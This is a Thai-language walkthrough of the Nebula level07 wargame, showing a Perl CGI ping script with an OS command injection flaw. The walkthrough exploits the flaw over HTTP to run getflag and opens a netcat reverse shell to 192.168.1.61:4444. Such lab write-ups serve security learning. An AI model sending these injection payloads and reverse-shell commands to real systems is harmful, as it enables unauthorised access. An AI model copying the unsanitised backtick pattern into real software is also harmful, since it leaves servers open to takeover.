How to inject the OS command through CGI – Nebula 07

บทนำ (Overview)

บทความนี้กล่าวถึงการยกระดับสิทธิโดยใช้ “CGI” ผ่าน เว็บบราวเซอร์ โดยโปรแกรมนั้นมีช่องโหว่ของ “OS command injection” หรือสามารถเรียกใช้งานคำสั่งของระบบปฏิบัติการได้ โดยบทความนำเสนอวิธีการสร้าง “Reverse shell” ผ่านช่องโหว่ดังกล่าวเพื่อเชื่อมต่อโปรแกรม NC ที่เราตั้งรอเอาไว้ดังนี้

ขั้นตอน (Steps)

  1. ดาวน์โหลด “VM” ได้จาก https://exploit-exercises.com/download/
  2. “Login” โดยใช้ “User” คือ “level07” และ “Password” คือ “level07”
  3. โดยวัตถุประสงค์เราจะยกระดับสิทธิจาก “level07” เป็น “flag07”
  4. ทดลองตรวจสอบไฟล์ในโฟลเดอร์
    level07@nebula:/home/flag07$ ls -l
    total 5
    -rwxr-xr-x 1 root root  368 2011-11-20 21:22 index.cgi
    -rw-r--r-- 1 root root 3719 2011-11-20 21:22 thttpd.conf
    
  5. จากข้างต้นเราพบ “2” ไฟล์ทดลองค่อยเปิดดูที่ละไฟล์ดังนี้
    level07@nebula:/home/flag07$ cat index.cgi
    #!/usr/bin/perl
    
    use CGI qw{param};
    
    print "Content-type: text/html\n\n";
    
    sub ping {
    	$host = $_[0];
    
    	print("<html><head><title>Ping results</title></head><body>
    
    <pre>");
    
    	@output = `ping -c 3 $host 2>&1`;
    	foreach $line (@output) { print "$line"; } 
    
    	print("</pre>
    
    </body></html>");
    }
    
    # check if Host set. if not, display normal page, etc
    
    ping(param("Host"));
    
    1. โปรแกรมรับค่าอาร์กิวเมนจากภายนอก ที่ชื่อ “Host” จากนั้นจะเรียก “Procedure” ชื่อ “ping” จากนั้นนำไปเก็บไว้ที่ตัวแปร “$host”
      ping(param("Host"));
      $host = $_[0];
      
    2. จากนั้นนำไปประมวลผลคำสั่ง “OS” ซึ่งก็คือคำสั่ง “Ping” ดังนั้นเราพอสรุปได้ว่าโปรแกรมดังกล่าวคือโปรแกรมสำหรับ “Ping” นั้นเอง
      @output = `ping -c 3 $host 2>&1`;
      
    3. ทดลองใช้งานคำสั่งโปรแกรมข้างต้นได้ดังนี้
      ./index.cgi Host=127.0.0.1
      
    4. ที่นี้ลองเปลี่ยนคำสั่งเล็กหน่อย โดยใช้ “;” คั่นระหว่างคำสั่งเก่ากับใหม่ จะพบว่าเราสามารถแทรกคำสั่งที่เราต้องการลงไปได้
      ./index.cgi Host=;ls -asl
      

    5. แต่อย่างไรก็ตามเราก็ยังไม่สามารถได้สิทธิของ “Flag07” ได้
  6. จากนั้นตรวจสอบไฟล์ที่สอง
    level07@nebula:/home/flag07$ cat thttpd.conf
    # /etc/thttpd/thttpd.conf: thttpd configuration file
    
    # This file is for thttpd processes created by /etc/init.d/thttpd.
    # Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer.
    
    # Specifies an alternate port number to listen on.
    port=7007
    
    # Specifies a directory to chdir() to at startup. This is merely a convenience -
    # you could just as easily do a cd in the shell script that invokes the program.
    dir=/home/flag07
    
    # Do a chroot() at initialization time, restricting file access to the program's
    # current directory. If chroot is the compiled-in default (not the case on
    # Debian), then nochroot disables it. See thttpd(8) for details.
    nochroot
    #chroot
    
    # Specifies a directory to chdir() to after chrooting. If you're not chrooting,
    # you might as well do a single chdir() with the dir option. If you are
    # chrooting, this lets you put the web files in a subdirectory of the chroot
    # tree, instead of in the top level mixed in with the chroot files.
    #data_dir=
    
    # Don't do explicit symbolic link checking. Normally, thttpd explicitly expands
    # any symbolic links in filenames, to check that the resulting path stays within
    # the original document tree. If you want to turn off this check and save some
    # CPU time, you can use the nosymlinks option, however this is not
    # recommended. Note, though, that if you are using the chroot option, the
    # symlink checking is unnecessary and is turned off, so the safe way to save
    # those CPU cycles is to use chroot.
    #symlinks
    #nosymlinks
    
    # Do el-cheapo virtual hosting. If vhost is the compiled-in default (not the
    # case on Debian), then novhost disables it. See thttpd(8) for details.
    #vhost
    #novhost
    
    # Use a global passwd file. This means that every file in the entire document
    # tree is protected by the single .htpasswd file at the top of the tree.
    # Otherwise the semantics of the .htpasswd file are the same. If this option is
    # set but there is no .htpasswd file in the top-level directory, then thttpd
    # proceeds as if the option was not set - first looking for a local .htpasswd
    # file, and if that doesn't exist either then serving the file without any
    # password. If globalpasswd is the compiled-in default (not the case on Debian),
    # then noglobalpasswd disables it.
    #globalpasswd
    #noglobalpasswd
    
    # Specifies what user to switch to after initialization when started as root.
    user=flag07
    
    # Specifies a wildcard pattern for CGI programs, for instance "**.cgi" or
    # "/cgi-bin/*". See thttpd(8) for details.
    cgipat=**.cgi
    
    # Specifies a file of throttle settings. See thttpd(8) for details.
    #throttles=/etc/thttpd/throttle.conf
    
    # Specifies a hostname to bind to, for multihoming. The default is to bind to
    # all hostnames supported on the local machine. See thttpd(8) for details.
    #host=
    
    # Specifies a file for logging. If no logfile option is specified, thttpd logs
    # via syslog(). If logfile=/dev/null is specified, thttpd doesn't log at all.
    #logfile=/var/log/thttpd.log
    
    # Specifies a file to write the process-id to. If no file is specified, no
    # process-id is written. You can use this file to send signals to thttpd. See
    # thttpd(8) for details.
    #pidfile=
    
    # Specifies the character set to use with text MIME types.
    #charset=iso-8859-1
    
    # Specifies a P3P server privacy header to be returned with all responses. See
    # http://www.w3.org/P3P/ for details. Thttpd doesn't do anything at all with the
    # string except put it in the P3P: response header.
    #p3p=
    
    # Specifies the number of seconds to be used in a "Cache-Control: max-age"
    # header to be returned with all responses. An equivalent "Expires" header is
    # also generated. The default is no Cache-Control or Expires headers, which is
    # just fine for most sites.
    #max_age=
    
    
    1. ไฟล์ดังกล่าวเป็นไฟล์ “config” สำหรับ “web server” โดยเมื่อตรวจสอบพบว่ามีการตั้งค่า “port” ไว้ดังนี้
      port=7007
      
    2. ให้ทดลองดูว่า “OS” เปิด “port” ดังกล่าวไว้หรือไม่
      netstat -ant
      Active Internet connections (servers and established)
      Proto Recv-Q Send-Q Local Address           Foreign Address         State      
      tcp        0      0 127.0.0.1:50001         0.0.0.0:*               LISTEN     
      tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
      tcp        0      0 0.0.0.0:10007           0.0.0.0:*               LISTEN     
      tcp        0    288 192.168.1.54:22         192.168.1.61:53094      ESTABLISHED
      tcp6       0      0 :::1616                 :::*                    LISTEN     
      tcp6       0      0 :::22                   :::*                    LISTEN     
      tcp6       0      0 :::7007                 :::*                    LISTEN 
      
  7. จากผลลัพธ์ข้างต้นพบ “port”  หมายเลข “7007” ถ้าไม่พบให้ “shutdown” และเปิด “VM” ขึ้นมาใหม่อีกครั้ง
    #%3B คือ ;
    http://192.168.1.54:7007/index.cgi?Host=%3Bgetflag
    
  8. ลองย้อนกลับไปดูไฟล์ “config” พบว่า บัญชีผู้ใช้ “flag07” จะถูกนำมาใช้งานบริการเว็บ (web server) เพราะฉะนั้นสิทธิที่เราจะได้คือของบัญชี “flag07” นั้นเอง
    # Specifies what user to switch to after initialization when started as root.
    user=flag07
    

  9. ทดลองสร้าง “reverse shell” ดังนี้
    #nc.traditional -nv 192.168.1.61 4444 -e /bin/bash
    http://192.168.1.54:7007/index.cgi?Host=%3Bnc.traditional%20-nv%20192.168.1.61%204444%20-e%20/bin/bash
    

ใส่ความเห็น